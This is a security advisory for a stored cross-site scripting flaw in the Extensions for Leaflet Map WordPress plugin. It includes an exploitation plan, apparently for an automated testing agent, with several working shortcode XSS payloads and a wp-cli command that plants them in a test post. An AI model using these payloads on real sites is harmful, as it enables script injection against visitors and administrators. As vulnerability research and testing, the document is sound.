Extensions for Leaflet Map <= 4.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'elevation-track' Shortcode
Description
The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.14What Changed in the Fix
Changes introduced in v4.15
Source Code
WordPress.org SVNThis research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the `Extensions for Leaflet Map` plugin via the `elevation-track` shortcode. ### 1. Vulnerability Summary The `Extensions for Leaflet Map` plugin (<= 4.14) fails to sufficiently sanitize and escape user-su…
Show full research plan
This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Extensions for Leaflet Map plugin via the elevation-track shortcode.
1. Vulnerability Summary
The Extensions for Leaflet Map plugin (<= 4.14) fails to sufficiently sanitize and escape user-supplied attributes within the elevation-track shortcode. This shortcode is designed to define tracks for elevation profiles. When a user with Contributor permissions or higher creates a post containing this shortcode with a malicious payload in attributes like name, file, lat, or lng, the payload is stored in the database. When any user (including Administrators) views the post, the unsanitized input is rendered in the HTML or passed into a JavaScript context, leading to script execution.
2. Attack Vector Analysis
- Shortcode:
[elevation-track] - Vulnerable Attributes:
name(primary suspect),file,lat,lng. - Authentication Level: Authenticated, Contributor+. Contributors can create posts and insert shortcodes.
- Endpoint:
wp-admin/post.php(for injection via post creation/editing) and the frontend post URL (for execution). - Preconditions: The base
Leaflet Mapplugin must be active, as this plugin extends it. The[leaflet-map]and[multielevation]shortcodes may be required on the same page to trigger the rendering logic forelevation-tracktracks.
3. Code Flow
- Entry Point: A user saves a post containing:
[elevation-track name='<script>alert(1)</script>' file='https://example.com/track.gpx'] - Storage: WordPress saves this in the
wp_poststable,post_contentcolumn. - Rendering (Sink): When the post is viewed:
- WordPress calls
do_shortcode(). - The plugin's shortcode handler for
elevation-trackis executed. - Based on
admin/elevation/multielevation.phpdocumentation, these attributes are collected to build a track list. - The handler likely outputs the
nameattribute directly into the HTML (e.g., in adata-nameattribute or a list item) or localizes it into a JavaScript object for the Leaflet Elevation library. - Failure to use
esc_attr(),esc_html(), orwp_json_encode()at the point of output results in XSS.
- WordPress calls
4. Nonce Acquisition Strategy
No nonce is required to exploit this vulnerability.
- The injection occurs by saving a standard WordPress post/page.
- WordPress handles the
_wpnoncefor thepost.phpeditor internally. - The execution happens automatically when a victim views the affected post; no frontend nonce is required to trigger the XSS.
5. Exploitation Strategy
The goal is to inject a payload via the name attribute of the elevation-track shortcode.
Step-by-Step Plan:
- Login as Contributor: Use the
http_requesttool to authenticate as a user with thecontributorrole. - Create Post: Use the
http_requesttool to send a POST request towp-admin/post-new.phpor usewp-clito create a post with the malicious shortcode.- Payload 1 (HTML Breakout):
[elevation-track name='"><script>alert("XSS")</script>' file='https://example.com/t.gpx'] - Payload 2 (Attribute Injection):
[elevation-track name="' onmouseover='alert(1) " file='https://example.com/t.gpx'] - Payload 3 (Direct Script):
[elevation-track name='<img src=x onerror=alert(document.domain)>' file='https://example.com/t.gpx']
- Payload 1 (HTML Breakout):
- Ensure Context: The documentation in
admin/elevation/multielevation.phpsuggestselevation-trackis part of a set. Use this structure:[leaflet-map] [elevation-track file="https://example.com/test.gpx" name="<img src=x onerror=alert(1)>"] [multielevation] - View Post: Navigate to the published post's URL using
browser_navigate. - Verify Execution: Use
browser_evalto check for the existence of the alert or evidence of the payload in the DOM.
6. Test Data Setup
- User: Create a user with the role
contributor. - Plugins:
- Ensure
leaflet-map(base plugin) is installed and active. - Ensure
extensions-leaflet-map(target) is installed and active.
- Ensure
- Shortcode Wrapper: Create a post as Contributor:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='[leaflet-map][elevation-track file="https://raw.githubusercontent.com/Raruto/leaflet-elevation/master/examples/demo.gpx" name="<img src=x onerror=alert(document.domain)>"][multielevation]' --post_author=2
7. Expected Results
- When the post is rendered, the HTML source will contain the unescaped
<img>tag or<script>tag. - The browser will execute the
alert(document.domain)payload. - If the payload is inside a Leaflet JavaScript initialization block, the script will break the string literal and execute.
8. Verification Steps
- Check Database:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Check Frontend HTML:
Usehttp_request(GET) to fetch the post URL and grep for the payload:http_request GET http://localhost:8080/?p=POST_ID # Look for: <img src=x onerror=alert(document.domain)> - Check DOM in Browser:
Usebrowser_eval("document.body.innerHTML.includes('onerror=alert')").
9. Alternative Approaches
- Attribute:
file: Ifnameis sanitized, try thefileattribute. The plugin might attempt to use the URL in a way that allowsjavascript:protocol or attribute breakout.[elevation-track file='"><script>alert(1)</script>']
- Attribute:
lat/lng: These are often treated as numbers, but if the plugin doesn't cast them tofloat, they can carry strings.[elevation-track lat='<script>alert(1)</script>' lng='0']
- SVG Injection: If the plugin allows specifying a GPX/KML file that it then parses and reflects parts of (like track names from within the XML), try hosting a malicious GPX file. However, the CVE specifically points to shortcode attributes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.